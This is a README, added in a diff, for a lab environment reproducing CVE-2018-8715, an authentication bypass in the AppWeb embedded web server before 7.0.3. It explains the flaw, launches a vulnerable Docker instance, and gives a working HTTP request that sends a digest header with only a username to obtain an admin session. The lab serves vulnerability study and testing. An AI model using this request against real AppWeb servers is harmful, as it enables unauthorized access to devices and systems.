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+# AppWeb Authentication Bypass vulnerability (CVE-2018-8715)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+AppWeb is an embedded Web Server based on an open source GPL agreement that was developed and maintained by Embedthis Software LLC. It is written in C/C++ and can run on almost any modern operating system. Of course, it aims to provide a Web Application container for embedded devices.
+
+AppWeb can be configured for authentication, which includes the following three authentication methods:
+
+- `basic`, traditional HTTP basic authentication
+- `digest`, improved HTTP basic authentication. At this mode, the Cookie will be used to authentication instead of `Authorization` header.
+- `form`, HTML based form authentication
+
+In the Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in `http/httpLib.c`. With a forged HTTP request, it is possible to bypass authentication for the `form` and `digest` login types.
+
+Reference link:
+
+- https://ssd-disclosure.com/index.php/archives/3676
+
+## Vulnerability environment
+
+Launch an Appweb 7.0.1 server with `digest` authentication by executing the following command:
+
+```
+docker compose up -d
+```
+
+To access `http://your-ip:8080`, you need to enter your account password.
+
+## Exploit
+
+The current username is `admin`, so you can use following request to bypass the authentication:
+
+```
+GET / HTTP/1.1
+Host: example.com
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Authorization: Digest username=admin
+
+
+```
+
+As you can see, since we did not pass in the password field, the server error occurred with a `200 status code` and the session setting header:
+
+![](1.png)
+
+The page can be accessed normally with this session header:
+
+![](2.png)